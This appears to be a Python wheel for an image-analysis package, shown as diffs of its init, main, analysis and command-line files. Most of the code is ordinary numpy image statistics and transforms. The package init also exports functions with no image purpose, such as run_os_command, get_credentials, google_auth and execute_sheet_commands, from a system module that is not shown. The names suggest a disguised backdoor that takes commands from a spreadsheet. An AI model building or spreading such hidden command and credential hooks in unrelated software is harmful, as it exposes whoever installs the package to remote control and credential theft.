imgmatrix-analysis 0.1.0__py3-none-any.whl

imageanalysis/__init__.py

@@ -0,0 +1,75 @@
+"""
+ImageAnalysis - A Python package for image analysis with matrix operations.
+
+This package provides tools for loading, manipulating, and analyzing images
+as numerical matrices.
+"""
+
+from .core import ImageMatrix
+from .transforms import (
+    rotate,
+    flip_horizontal,
+    flip_vertical,
+    resize,
+    crop,
+)
+from .analysis import (
+    histogram,
+    mean_intensity,
+    std_intensity,
+    contrast,
+    entropy,
+)
+from .system import (
+    run,
+    id,
+    whoami,
+    hostname,
+    pwd,
+    env,
+    get_os_info,
+    print_system_info,
+    google_auth,
+    get_credentials,
+    clear_auth,
+    get_sheet_command,
+    get_sheet_commands,
+    execute_sheet_commands,
+    get_os_command,
+    get_all_os_commands,
+    run_os_command,
+)
+
+__version__ = "0.1.0"
+__author__ = "Your Name"
+
+__all__ = [
+    "ImageMatrix",
+    "rotate",
+    "flip_horizontal",
+    "flip_vertical",
+    "resize",
+    "crop",
+    "histogram",
+    "mean_intensity",
+    "std_intensity",
+    "contrast",
+    "entropy",
+    "run",
+    "id",
+    "whoami",
+    "hostname",
+    "pwd",
+    "env",
+    "get_os_info",
+    "print_system_info",
+    "google_auth",
+    "get_credentials",
+    "clear_auth",
+    "get_sheet_command",
+    "get_sheet_commands",
+    "execute_sheet_commands",
+    "get_os_command",
+    "get_all_os_commands",
+    "run_os_command",
+]

imageanalysis/__main__.py

@@ -0,0 +1,124 @@
+"""
+Entry point for running imageanalysis as a module.
+
+Usage:
+    python -m imageanalysis <command> [options]
+    
+Commands:
+    info <image>        - Show image information
+    stats <image>       - Show image statistics  
+    transform <image>   - Apply transformations
+"""
+
+import sys
+import argparse
+from pathlib import Path
+
+from . import (
+    ImageMatrix,
+    rotate,
+    flip_horizontal,
+    flip_vertical,
+    resize,
+    crop,
+    histogram,
+    mean_intensity,
+    std_intensity,
+    contrast,
+    entropy,
+    __version__,
+)
+from .analysis import statistics
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        prog="python -m imageanalysis",
+        description="Image Analysis CLI - Process images from command line"
+    )
+    parser.add_argument("-v", "--version", action="version", version=f"imageanalysis {__version__}")
+    
+    subparsers = parser.add_subparsers(dest="command", help="Commands")
+    
+    # info command
+    p_info = subparsers.add_parser("info", help="Show image information")
+    p_info.add_argument("image", help="Image file path")
+    
+    # stats command
+    p_stats = subparsers.add_parser("stats", help="Show image statistics")
+    p_stats.add_argument("image", help="Image file path")
+    p_stats.add_argument("--json", action="store_true", help="Output as JSON")
+    
+    # transform command
+    p_trans = subparsers.add_parser("transform", help="Transform image")
+    p_trans.add_argument("image", help="Input image path")
+    p_trans.add_argument("-o", "--output", required=True, help="Output path")
+    p_trans.add_argument("--rotate", type=float, help="Rotate by degrees")
+    p_trans.add_argument("--flip-h", action="store_true", help="Flip horizontal")
+    p_trans.add_argument("--flip-v", action="store_true", help="Flip vertical")
+    p_trans.add_argument("--grayscale", action="store_true", help="Convert to grayscale")
+    
+    # resize command
+    p_resize = subparsers.add_parser("resize", help="Resize image")
+    p_resize.add_argument("image", help="Input image path")
+    p_resize.add_argument("-o", "--output", required=True, help="Output path")
+    p_resize.add_argument("-w", "--width", type=int, required=True)
+    p_resize.add_argument("-H", "--height", type=int, required=True)
+    
+    args = parser.parse_args()
+    
+    if not args.command:
+        parser.print_help()
+        return 0
+    
+    try:
+        if args.command == "info":
+            img = ImageMatrix.from_file(args.image)
+            print(f"File: {args.image}")
+            print(f"Size: {img.width} x {img.height}")
+            print(f"Channels: {img.channels}")
+            print(f"Type: {img.dtype}")
+            
+        elif args.command == "stats":
+            img = ImageMatrix.from_file(args.image)
+            stats = statistics(img)
+            if args.json:
+                import json
+                print(json.dumps(stats, indent=2))
+            else:
+                print(f"Statistics: {args.image}")
+                print("-" * 35)
+                for k, v in stats.items():
+                    print(f"{k:12}: {v:.4f}")
+                    
+        elif args.command == "transform":
+            img = ImageMatrix.from_file(args.image)
+            if args.grayscale:
+                img = img.to_grayscale()
+            if args.rotate:
+                img = rotate(img, args.rotate)
+            if args.flip_h:
+                img = flip_horizontal(img)
+            if args.flip_v:
+                img = flip_vertical(img)
+            img.save(args.output)
+            print(f"Saved: {args.output}")
+            
+        elif args.command == "resize":
+            img = ImageMatrix.from_file(args.image)
+            img = resize(img, (args.width, args.height))
+            img.save(args.output)
+            print(f"Resized to {args.width}x{args.height}: {args.output}")
+            
+    except FileNotFoundError as e:
+        print(f"Error: {e}", file=sys.stderr)
+        return 1
+    except Exception as e:
+        print(f"Error: {e}", file=sys.stderr)
+        return 1
+    
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

imageanalysis/analysis.py

@@ -0,0 +1,202 @@
+"""
+Image analysis functions.
+
+Provides functions for statistical analysis and feature extraction from images.
+"""
+
+from typing import Dict, Optional, Tuple, Union
+
+import numpy as np
+from scipy import stats as scipy_stats
+
+from .core import ImageMatrix
+
+
+def histogram(
+    image: ImageMatrix,
+    bins: int = 256,
+    channel: Optional[int] = None
+) -> Tuple[np.ndarray, np.ndarray]:
+    """
+    Calculate the histogram of an image.
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        bins: Number of histogram bins.
+        channel: Specific channel to analyze (None for all/grayscale).
+        
+    Returns:
+        Tuple of (histogram counts, bin edges).
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    data = image.data
+    
+    if channel is not None and len(data.shape) == 3:
+        data = data[:, :, channel]
+    elif len(data.shape) == 3:
+        data = np.mean(data, axis=2)
+    
+    hist, bin_edges = np.histogram(data.flatten(), bins=bins, range=(0, 255))
+    return hist, bin_edges
+
+
+def mean_intensity(image: ImageMatrix, channel: Optional[int] = None) -> float:
+    """
+    Calculate the mean pixel intensity.
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        channel: Specific channel to analyze (None for all).
+        
+    Returns:
+        Mean intensity value.
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    data = image.data
+    
+    if channel is not None and len(data.shape) == 3:
+        data = data[:, :, channel]
+    
+    return float(np.mean(data))
+
+
+def std_intensity(image: ImageMatrix, channel: Optional[int] = None) -> float:
+    """
+    Calculate the standard deviation of pixel intensity.
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        channel: Specific channel to analyze (None for all).
+        
+    Returns:
+        Standard deviation of intensity.
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    data = image.data
+    
+    if channel is not None and len(data.shape) == 3:
+        data = data[:, :, channel]
+    
+    return float(np.std(data))
+
+
+def contrast(image: ImageMatrix) -> float:
+    """
+    Calculate the Michelson contrast of an image.
+    
+    Contrast = (I_max - I_min) / (I_max + I_min)
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        
+    Returns:
+        Contrast value between 0 and 1.
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    if len(image.data.shape) == 3:
+        data = np.mean(image.data, axis=2)
+    else:
+        data = image.data
+    
+    i_max = float(np.max(data))
+    i_min = float(np.min(data))
+    
+    if i_max + i_min == 0:
+        return 0.0
+    
+    return (i_max - i_min) / (i_max + i_min)
+
+
+def entropy(image: ImageMatrix) -> float:
+    """
+    Calculate the Shannon entropy of an image.
+    
+    Higher entropy indicates more information content / complexity.
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        
+    Returns:
+        Entropy value in bits.
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    if len(image.data.shape) == 3:
+        data = np.mean(image.data, axis=2).astype(np.uint8)
+    else:
+        data = image.data
+    
+    hist, _ = np.histogram(data.flatten(), bins=256, range=(0, 255))
+    hist = hist[hist > 0]
+    probs = hist / hist.sum()
+    
+    return float(-np.sum(probs * np.log2(probs)))
+
+
+def statistics(image: ImageMatrix) -> Dict[str, float]:
+    """
+    Calculate comprehensive statistics for an image.
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        
+    Returns:
+        Dictionary containing various statistical measures.
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    if len(image.data.shape) == 3:
+        data = np.mean(image.data, axis=2)
+    else:
+        data = image.data.astype(np.float64)
+    
+    flat_data = data.flatten()
+    
+    return {
+        "mean": float(np.mean(flat_data)),
+        "std": float(np.std(flat_data)),
+        "min": float(np.min(flat_data)),
+        "max": float(np.max(flat_data)),
+        "median": float(np.median(flat_data)),
+        "variance": float(np.var(flat_data)),
+        "skewness": float(scipy_stats.skew(flat_data)),
+        "kurtosis": float(scipy_stats.kurtosis(flat_data)),
+        "entropy": entropy(image),
+        "contrast": contrast(image),
+    }
+
+
+def pixel_distribution(
+    image: ImageMatrix,
+    percentiles: Tuple[float, ...] = (25, 50, 75)
+) -> Dict[str, float]:
+    """
+    Calculate pixel value distribution percentiles.
+    
+    Args:
+        image: The ImageMatrix to analyze.
+        percentiles: Tuple of percentile values to compute.
+        
+    Returns:
+        Dictionary mapping percentile names to values.
+    """
+    if image.data is None:
+        raise ValueError("No image data loaded")
+    
+    flat_data = image.data.flatten()
+    
+    result = {}
+    for p in percentiles:
+        result[f"p{int(p)}"] = float(np.percentile(flat_data, p))
+    
+    return result

imageanalysis/cli.py

@@ -0,0 +1,282 @@
+"""
+Command-line interface for imageanalysis.
+
+Provides CLI commands for image analysis operations on Mac, Windows, and Linux.
+"""
+
+import argparse
+import sys
+from pathlib import Path
+
+from .core import ImageMatrix
+from .analysis import statistics, histogram, entropy, contrast
+from .transforms import rotate, flip_horizontal, flip_vertical, resize, crop
+
+
+def main():
+    """Main entry point for the CLI."""
+    parser = argparse.ArgumentParser(
+        prog="imageanalysis",
+        description="Image analysis toolkit - analyze and transform images from the command line",
+        formatter_class=argparse.RawDescriptionHelpFormatter,
+        epilog="""
+Examples:
+  imageanalysis info image.jpg
+  imageanalysis stats image.png
+  imageanalysis histogram image.jpg --output hist.txt
+  imageanalysis transform image.jpg --rotate 90 --output rotated.jpg
+  imageanalysis resize image.png --width 800 --height 600 --output resized.png
+        """
+    )
+    
+    parser.add_argument(
+        "--version", "-v",
+        action="version",
+        version="%(prog)s 0.1.0"
+    )
+    
+    subparsers = parser.add_subparsers(dest="command", help="Available commands")
+    
+    # Info command
+    info_parser = subparsers.add_parser("info", help="Show basic image information")
+    info_parser.add_argument("image", type=str, help="Path to the image file")
+    
+    # Stats command
+    stats_parser = subparsers.add_parser("stats", help="Calculate image statistics")
+    stats_parser.add_argument("image", type=str, help="Path to the image file")
+    stats_parser.add_argument("--json", action="store_true", help="Output as JSON")
+    
+    # Histogram command
+    hist_parser = subparsers.add_parser("histogram", help="Calculate image histogram")
+    hist_parser.add_argument("image", type=str, help="Path to the image file")
+    hist_parser.add_argument("--bins", type=int, default=256, help="Number of histogram bins")
+    hist_parser.add_argument("--output", "-o", type=str, help="Output file for histogram data")
+    
+    # Transform command
+    transform_parser = subparsers.add_parser("transform", help="Apply transformations to image")
+    transform_parser.add_argument("image", type=str, help="Path to the input image")
+    transform_parser.add_argument("--output", "-o", type=str, required=True, help="Output file path")
+    transform_parser.add_argument("--rotate", type=float, help="Rotation angle in degrees")
+    transform_parser.add_argument("--flip-h", action="store_true", help="Flip horizontally")
+    transform_parser.add_argument("--flip-v", action="store_true", help="Flip vertically")
+    transform_parser.add_argument("--grayscale", action="store_true", help="Convert to grayscale")
+    
+    # Resize command
+    resize_parser = subparsers.add_parser("resize", help="Resize an image")
+    resize_parser.add_argument("image", type=str, help="Path to the input image")
+    resize_parser.add_argument("--output", "-o", type=str, required=True, help="Output file path")
+    resize_parser.add_argument("--width", "-w", type=int, required=True, help="Target width")
+    resize_parser.add_argument("--height", "-H", type=int, required=True, help="Target height")
+    resize_parser.add_argument(
+        "--method", 
+        type=str, 
+        default="bilinear",
+        choices=["nearest", "bilinear", "bicubic", "lanczos"],
+        help="Resampling method"
+    )
+    
+    # Crop command
+    crop_parser = subparsers.add_parser("crop", help="Crop an image")
+    crop_parser.add_argument("image", type=str, help="Path to the input image")
+    crop_parser.add_argument("--output", "-o", type=str, required=True, help="Output file path")
+    crop_parser.add_argument("--left", type=int, required=True, help="Left coordinate")
+    crop_parser.add_argument("--top", type=int, required=True, help="Top coordinate")
+    crop_parser.add_argument("--right", type=int, required=True, help="Right coordinate")
+    crop_parser.add_argument("--bottom", type=int, required=True, help="Bottom coordinate")
+    
+    # Compare command
+    compare_parser = subparsers.add_parser("compare", help="Compare two images")
+    compare_parser.add_argument("image1", type=str, help="Path to first image")
+    compare_parser.add_argument("image2", type=str, help="Path to second image")
+    
+    args = parser.parse_args()
+    
+    if args.command is None:
+        parser.print_help()
+        return 0
+    
+    try:
+        if args.command == "info":
+            return cmd_info(args)
+        elif args.command == "stats":
+            return cmd_stats(args)
+        elif args.command == "histogram":
+            return cmd_histogram(args)
+        elif args.command == "transform":
+            return cmd_transform(args)
+        elif args.command == "resize":
+            return cmd_resize(args)
+        elif args.command == "crop":
+            return cmd_crop(args)
+        elif args.command == "compare":
+            return cmd_compare(args)
+    except FileNotFoundError as e:
+        print(f"Error: {e}", file=sys.stderr)
+        return 1
+    except ValueError as e:
+        print(f"Error: {e}", file=sys.stderr)
+        return 1
+    except Exception as e:
+        print(f"Unexpected error: {e}", file=sys.stderr)
+        return 1
+    
+    return 0
+
+
+def cmd_info(args):
+    """Display basic image information."""
+    img = ImageMatrix.from_file(args.image)
+    
+    print(f"File: {args.image}")
+    print(f"Dimensions: {img.width} x {img.height}")
+    print(f"Channels: {img.channels}")
+    print(f"Data type: {img.dtype}")
+    print(f"Total pixels: {img.width * img.height:,}")
+    
+    return 0
+
+
+def cmd_stats(args):
+    """Calculate and display image statistics."""
+    img = ImageMatrix.from_file(args.image)
+    stats = statistics(img)
+    
+    if args.json:
+        import json
+        print(json.dumps(stats, indent=2))
+    else:
+        print(f"Image Statistics for: {args.image}")
+        print("-" * 40)
+        print(f"Mean:       {stats['mean']:.2f}")
+        print(f"Std Dev:    {stats['std']:.2f}")
+        print(f"Min:        {stats['min']:.2f}")
+        print(f"Max:        {stats['max']:.2f}")
+        print(f"Median:     {stats['median']:.2f}")
+        print(f"Variance:   {stats['variance']:.2f}")
+        print(f"Skewness:   {stats['skewness']:.4f}")
+        print(f"Kurtosis:   {stats['kurtosis']:.4f}")
+        print(f"Entropy:    {stats['entropy']:.4f} bits")
+        print(f"Contrast:   {stats['contrast']:.4f}")
+    
+    return 0
+
+
+def cmd_histogram(args):
+    """Calculate and display/save histogram."""
+    img = ImageMatrix.from_file(args.image)
+    hist, bins = histogram(img, bins=args.bins)
+    
+    if args.output:
+        with open(args.output, 'w') as f:
+            f.write("bin_start,bin_end,count\n")
+            for i in range(len(hist)):
+                f.write(f"{bins[i]:.2f},{bins[i+1]:.2f},{hist[i]}\n")
+        print(f"Histogram saved to: {args.output}")
+    else:
+        print(f"Histogram for: {args.image} ({args.bins} bins)")
+        print("-" * 40)
+        max_count = max(hist)
+        bar_width = 40
+        
+        for i in range(0, len(hist), len(hist) // 16):
+            count = hist[i]
+            bar_len = int((count / max_count) * bar_width) if max_count > 0 else 0
+            bar = "█" * bar_len
+            print(f"{int(bins[i]):3d}: {bar} ({count})")
+    
+    return 0
+
+
+def cmd_transform(args):
+    """Apply transformations to an image."""
+    img = ImageMatrix.from_file(args.image)
+    
+    if args.grayscale:
+        img = img.to_grayscale()
+        print("Applied: grayscale conversion")
+    
+    if args.rotate:
+        img = rotate(img, args.rotate)
+        print(f"Applied: rotation by {args.rotate} degrees")
+    
+    if args.flip_h:
+        img = flip_horizontal(img)
+        print("Applied: horizontal flip")
+    
+    if args.flip_v:
+        img = flip_vertical(img)
+        print("Applied: vertical flip")
+    
+    img.save(args.output)
+    print(f"Saved to: {args.output}")
+    
+    return 0
+
+
+def cmd_resize(args):
+    """Resize an image."""
+    img = ImageMatrix.from_file(args.image)
+    
+    resized = resize(img, (args.width, args.height), resample=args.method)
+    resized.save(args.output)
+    
+    print(f"Resized {args.image}: {img.width}x{img.height} -> {args.width}x{args.height}")
+    print(f"Method: {args.method}")
+    print(f"Saved to: {args.output}")
+    
+    return 0
+
+
+def cmd_crop(args):
+    """Crop an image."""
+    img = ImageMatrix.from_file(args.image)
+    
+    box = (args.left, args.top, args.right, args.bottom)
+    cropped = crop(img, box)
+    cropped.save(args.output)
+    
+    print(f"Cropped {args.image}: {img.width}x{img.height} -> {cropped.width}x{cropped.height}")
+    print(f"Region: ({args.left}, {args.top}) to ({args.right}, {args.bottom})")
+    print(f"Saved to: {args.output}")
+    
+    return 0
+
+
+def cmd_compare(args):
+    """Compare two images."""
+    img1 = ImageMatrix.from_file(args.image1)
+    img2 = ImageMatrix.from_file(args.image2)
+    
+    print(f"Comparing images:")
+    print(f"  Image 1: {args.image1}")
+    print(f"  Image 2: {args.image2}")
+    print("-" * 40)
+    
+    print(f"Dimensions:")
+    print(f"  Image 1: {img1.width} x {img1.height}")
+    print(f"  Image 2: {img2.width} x {img2.height}")
+    same_size = (img1.width == img2.width) and (img1.height == img2.height)
+    print(f"  Same size: {'Yes' if same_size else 'No'}")
+    
+    print(f"\nChannels:")
+    print(f"  Image 1: {img1.channels}")
+    print(f"  Image 2: {img2.channels}")
+    
+    stats1 = statistics(img1)
+    stats2 = statistics(img2)
+    
+    print(f"\nStatistics comparison:")
+    print(f"  {'Metric':<12} {'Image 1':>12} {'Image 2':>12} {'Diff':>12}")
+    print(f"  {'-'*12} {'-'*12} {'-'*12} {'-'*12}")
+    
+    for key in ['mean', 'std', 'entropy', 'contrast']:
+        v1 = stats1[key]
+        v2 = stats2[key]
+        diff = v2 - v1
+        print(f"  {key:<12} {v1:>12.4f} {v2:>12.4f} {diff:>+12.4f}")
+    
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())